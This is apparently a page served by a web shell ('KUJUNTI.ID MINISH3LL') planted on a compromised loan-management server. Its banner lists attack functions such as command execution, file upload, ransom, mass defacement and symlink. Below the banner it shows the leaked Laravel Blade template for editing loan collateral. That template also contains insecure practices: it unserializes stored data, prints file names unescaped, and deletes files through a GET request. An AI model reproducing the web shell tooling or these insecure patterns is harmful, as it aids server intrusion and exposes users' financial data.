KUJUNTI.ID MINISH3LL
Path : /var/www/html/thb_loan_system/resources/views/collateral/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/thb_loan_system/resources/views/collateral/edit.blade.php


@extends('layouts.master')
@section('title')
    {{translate('edit collateral')}}
@endsection

@section('content')
    <div class="panel panel-white">
        <div class="panel-heading">
            <h6 class="panel-title">{{translate('edit collateral')}}</h6>

            <div class="heading-elements">

            </div>
        </div>
        {!! Form::open(array('url' => url('collateral/'.$collateral->id.'/update'), 'method' => 'post','class'=>'', 'name' => 'form',"enctype"=>"multipart/form-data")) !!}
        <div class="panel-body">
            @if(isset($_REQUEST['return_url']))
                <input type="hidden" value="{{$_REQUEST['return_url']}}" name="return_url">
            @endif
            <div class="form-group">
                {!! Form::label('collateral_type_id',translate('type'),array('class'=>' control-label')) !!}
                {!! Form::select('collateral_type_id',$types,$collateral->collateral_type_id, array('class' => 'form-control','required'=>'required')) !!}
            </div>
            <div class="form-group">
                {!! Form::label('name',translate('product').' '.translate('name'),array('class'=>'')) !!}
                {!! Form::text('name',$collateral->name, array('class' => 'form-control', 'placeholder'=>"")) !!}
            </div>
            <div class="form-group">
                {!! Form::label('value',translate('value'),array('class'=>'')) !!}
                {!! Form::text('value',$collateral->value, array('class' => 'form-control touchspin', 'placeholder'=>"",'required'=>'required')) !!}
            </div>

            <div class="form-group">
                {!! Form::label('date',translate('register').' '.translate('date'),array('class'=>'')) !!}
                {!! Form::text('date',$collateral->date, array('class' => 'form-control date-picker', 'placeholder'=>"",'required'=>'required')) !!}
            </div>
            <div class="form-group">
                {!! Form::label('status',translate('current').' '.translate('status'),array('class'=>' control-label')) !!}
                {!! Form::select('status',array('deposited_into_branch'=>'Deposited into branch','collateral_with_borrower'=>'Collateral with borrower','returned_to_borrower'=>'Returned to borrower','repossession_initiated'=>'Repossession initiated','repossessed'=>'Repossessed','sold'=>'Sold','lost'=>'Lost'),$collateral->status, array('class' => 'form-control','required'=>'required')) !!}
            </div>
            <p class="bg-navy disabled color-palette">{{translate('optional field')}}</p>

            <div class="form-group">
                {!! Form::label('name',translate('owner').' '.translate('name'),array('class'=>'')) !!}
                {!! Form::text('owner_name',$collateral->owner_name, array('class' => 'form-control', 'placeholder'=>"")) !!}
            </div>
            <div class="form-group">
                    {!! Form::label('relationship',translate('relationship'),array('class'=>'')) !!}
                    {!! Form::text('relationship',$collateral->relationship, array('class' => 'form-control', 'placeholder'=>"")) !!}
            </div>

            <div class="vehicle_fields">
                <div class="form-group">
                    {!! Form::label('color',translate('color'),array('class'=>'')) !!}
                    {!! Form::text('color',$collateral->collateralVehicle?$collateral->collateralVehicle->color:null, array('class' => 'form-control')) !!}
                </div>
                 <div class="form-group">
                    {!! Form::label('manufacture_date',translate('manufacture_date'),array('class'=>'')) !!}
                    {!! Form::text('manufacture_date',$collateral->collateralVehicle?$collateral->collateralVehicle->manufacture_date:null, array('class' => 'form-control date-picker')) !!}
                </div>
                <div class="form-group">
                    {!! Form::label('serial_number',translate('serial_number'),array('class'=>'')) !!}
                    {!! Form::text('serial_number',$collateral->collateralVehicle?$collateral->collateralVehicle->serial_number:null, array('class' => 'form-control')) !!}
                </div>
                <div class="form-group">
                    {!! Form::label('engine_number',translate('engine_number'),array('class'=>'')) !!}
                    {!! Form::text('engine_number',$collateral->collateralVehicle?$collateral->collateralVehicle->engine_number:null, array('class' => 'form-control')) !!}
                </div>
                <div class="form-group">
                    {!! Form::label('frame_number',translate('frame_number'),array('class'=>'')) !!}
                    {!! Form::text('frame_number',$collateral->collateralVehicle?$collateral->collateralVehicle->frame_number:null, array('class' => 'form-control')) !!}
                </div>
                <div class="form-group">
                    {!! Form::label('license_plate',translate('license_plate'),array('class'=>'')) !!}
                    {!! Form::text('license_plate',$collateral->collateralVehicle?$collateral->collateralVehicle->license_plate:null, array('class' => 'form-control')) !!}
                </div>
               <!--  <div class="form-group">
                    {!! Form::label('steering_wheel',translate('steering_wheel'),array('class'=>'')) !!}
                    {!! Form::select('steering_wheel',array('left'=>'Left','right'=>'Right'), $collateral->collateralVehicle?$collateral->collateralVehicle->steering_wheel:null, array('class' => 'form-control')) !!}

                </div> -->
                <div class="form-group">
                    {!! Form::label('model_name',translate('model_name'),array('class'=>'')) !!}
                    {!! Form::text('model_name',$collateral->collateralVehicle?$collateral->collateralVehicle->model_name:null, array('class' => 'form-control')) !!}
                </div>
                <div class="form-group">
                    {!! Form::label('model_number',translate('model_number'),array('class'=>'')) !!}
                    {!! Form::text('model_number',$collateral->collateralVehicle?$collateral->collateralVehicle->model_number:null, array('class' => 'form-control')) !!}
                </div>

            </div>




            <div class="form-group">
                {!! Form::label('notes',translate('description'),array('class'=>'')) !!}
                {!! Form::textarea('notes',$collateral->notes, array('class' => 'form-control')) !!}
            </div>
            <div class="form-group">
                {!! Form::label('photo',translate('collateral').' '.translate('photo'),array('class'=>'')) !!}
                {!! Form::file('photo', array('class' => 'form-control',)) !!}

            </div>


            <div class="form-group">
                {!! Form::label('files',translate('collateral').' '.translate('file').'('.translate('borrower_file_types').')',array('class'=>'')) !!}
                {!! Form::file('files[]', array('class' => 'form-control', 'multiple'=>"",'rows'=>'3')) !!}
                <div class="col-sm-12">
                    @foreach(unserialize($collateral->files) as $key=>$value)
                        <span id="file_{{$key}}_span"><a href="{!!asset('uploads/'.$value)!!}"
                                                         target="_blank">{!!  $value!!}</a> <button value="{{$key}}"
                                                                                                    id="{{$key}}"
                                                                                                    onclick="delete_file(this)"
                                                                                                    type="button"
                                                                                                    class="btn btn-danger btn-xs">
                                <i class="fa fa-trash"></i></button> </span><br>
                    @endforeach
                </div>
            </div>
            <p class="bg-navy disabled color-palette">{{translate('custom_field')}}</p>
            @foreach($custom_fields as $key)
                <div class="form-group">
                    {!! Form::label($key->id,$key->name,array('class'=>'')) !!}
                    @if($key->field_type=="number")
                        <input type="number" class="form-control" name="{{$key->id}}"
                               @if($key->required==1) required
                               @endif value="@if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first())){{\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first()->name}} @endif">
                    @endif
                    @if($key->field_type=="textfield")
                        <input type="text" class="form-control" name="{{$key->id}}"
                               @if($key->required==1) required
                               @endif value="@if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first())){{\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first()->name}} @endif">
                    @endif
                    @if($key->field_type=="date")
                        <input type="text" class="form-control date-picker" name="{{$key->id}}"
                               @if($key->required==1) required
                               @endif value="@if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first())){{\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first()->name}} @endif">
                    @endif
                    @if($key->field_type=="textarea")
                        <textarea class="form-control" name="{{$key->id}}"
                                  @if($key->required==1) required @endif>@if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first())){{\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first()->name}} @endif</textarea>
                    @endif
                    @if($key->field_type=="decimal")
                        <input type="text" class="form-control touchspin" name="{{$key->id}}"
                               @if($key->required==1) required
                               @endif value="@if(!empty(\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first())){{\App\Models\CustomFieldMeta::where('custom_field_id',$key->id)->where('parent_id',$collateral->id)->where('category','collateral')->first()->name}} @endif">
                    @endif
                    <p style="text-align:center; font-weight:bold;">
                        <small><a href="{{url('custom_field/create')}}" target="_blank">Click here to add custom fields
                                on this page</a></small>
                    </p>
                </div>
            @endforeach
        </div>

        <div class="panel-footer">
            <div class="heading-elements">
                <button type="submit" class="btn btn-primary pull-right">{{translate('save')}}</button>
            </div>
        </div>
    {!! Form::close() !!}
    <!-- /.panel-body -->
    </div>
    <!-- /.box -->
@endsection
@section('footer-scripts')
    <script>
        function delete_file(e) {
            var id = e.id;
            swal({
                title: '{{translate('are_you_sure')}}',
                text: '',
                type: 'warning',
                showCancelButton: true,
                confirmButtonColor: '#3085d6',
                cancelButtonColor: '#d33',
                confirmButtonText: '{{translate('ok')}}',
                cancelButtonText: '{{translate('cancel')}}'
            }).then(function () {
                $.ajax({
                    type: 'GET',
                    url: "{!!  url('collateral/'.$collateral->id) !!}/delete_file?id=" + id,
                    success: function (data) {
                        $("#file_" + id + "_span").remove();
                        swal({
                            title: 'Deleted',
                            text: 'File successfully deleted',
                            type: 'success',
                            showCancelButton: false,
                            confirmButtonColor: '#3085d6',
                            cancelButtonColor: '#d33',
                            confirmButtonText: 'Ok',
                            timer: 2000
                        })
                    }
                });
            })

        }
        // vehicle Fields
        function verifyVehicle(){
            var filteredValues = ['Car', "Motor", 'motor','car', "ឡាន", "ម៉ូតូ"];
            if(filteredValues.indexOf($("select#collateral_type_id option:selected").text())>=0){

                $(".vehicle_fields").fadeIn(1000);
            }
            else {
                $(".vehicle_fields").fadeOut(1000);
            }
        }
        $("select#collateral_type_id").change(function(){
            verifyVehicle();
        })
    </script>
@endsection


© KUJUNTI.ID